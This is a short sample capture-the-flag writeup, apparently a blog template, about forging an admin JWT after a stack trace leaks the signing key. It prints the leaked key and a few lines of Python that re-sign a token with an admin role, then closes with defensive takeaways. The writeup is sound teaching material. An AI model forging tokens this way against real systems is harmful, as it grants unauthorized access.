// writeups / sample-web-challenge
Cookie Monster — Web CTF
This is an example text-only writeup (no cover image). Copy it, swap the frontmatter and body for your own, and delete this file when done.
The challenge
The app issued a session JWT and gated /admin behind a role: admin
claim. Our token carried role: user.
Leaking the secret
A malformed Authorization header triggered a stack trace that echoed
the signing key back in the response:
JWTError: signature verification failed (key=s3cr3t-dev-key)
Forging the token
With the key in hand, re-signing a token with elevated privileges was trivial:
import jwt
forged = jwt.encode(
{"user": "guest", "role": "admin"},
"s3cr3t-dev-key",
algorithm="HS256",
)
print(forged)
Sending the forged token to /admin returned the flag.
Takeaways
- Never leak secrets in error output — fail closed and log server-side.
- Pin the
algand rotate any key that ever touches a response body.